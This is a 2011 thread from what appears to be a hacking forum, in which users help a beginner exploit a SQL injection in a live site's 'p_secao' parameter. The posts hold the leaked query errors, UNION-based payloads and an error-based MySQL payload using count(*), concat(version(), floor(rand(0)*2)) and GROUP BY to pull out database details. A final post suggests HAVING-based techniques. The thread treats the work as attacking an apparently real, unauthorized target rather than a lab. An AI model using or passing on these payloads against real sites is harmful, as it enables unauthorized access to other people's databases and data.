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www.waraxe.us Forum Index -> Sql injection -> Problem SQLi
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Problem SQLi
PostPosted: Wed Aug 03, 2011 9:41 am Reply with quote
AleisterCrow
Beginner
Beginner
 
Joined: Aug 03, 2011
Posts: 2




hi guys,

i'm trying to explore a sql injection vulnerability but i'm having some problems.

default.php?p_secao=65 order by 1 /* --> no error

default.php?p_secao=65 order by 2 /* --> error:

ERROR: Could not execute MySQL query. Query: 'SELECT sec_arquivo FROM SECOES WHERE PROJETOS_proj_codigo = 174 AND sec_codigo = 65 order by 2 /*'Unknown column '2' in 'order clause'

ok, so the tabble has just one column right ?

but when i try to do this:

default.php?p_secao=65 union select null /* --> error

ERROR: Could not execute MySQL query. Query: 'select sec_nome, SECOES_sec_codigo from SECOES where sec_codigo = 65 union select null /* and PROJETOS_proj_codigo = 174'The used SELECT statements have a different number of columns

why am i getting this error ?

cheers
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PostPosted: Mon Aug 08, 2011 4:13 pm Reply with quote
RubberDoll
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Joined: Jun 04, 2009
Posts: 46




Why UNION select NULL?

-65 union ALL select 1/*
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PostPosted: Tue Aug 23, 2011 9:26 am Reply with quote
AleisterCrow
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Joined: Aug 03, 2011
Posts: 2




because the NULL value can be converted to any other data type, avoiding errors caused by different data types in the same column.

I tried to use

-65 union ALL select 1/*

but it didin't works as well.

ERROR: Could not execute MySQL query. Query: 'select sec_nome, SECOES_sec_codigo from SECOES where sec_codigo = 65 union ALL select 1/* and PROJETOS_proj_codigo = 174'The used SELECT statements have a different number of columns

I'm not that sure that ' /* ' is doing what it was supossed to do.

any idea ?
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PostPosted: Wed Aug 31, 2011 1:43 pm Reply with quote
pink_spider
Advanced user
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Joined: Aug 28, 2010
Posts: 91




It is 'Error based Sql injection' (inband)

Try error based syntaxes for sqli suksses xD

Code:
default.asp?id=(1)and(select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from
information_schema.tables group by x)a))--


^^

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PostPosted: Thu Sep 15, 2011 5:23 pm Reply with quote
sk8er
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Joined: May 09, 2005
Posts: 64




you should trie with clausule "HAVING" form more results Very Happy
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Problem SQLi
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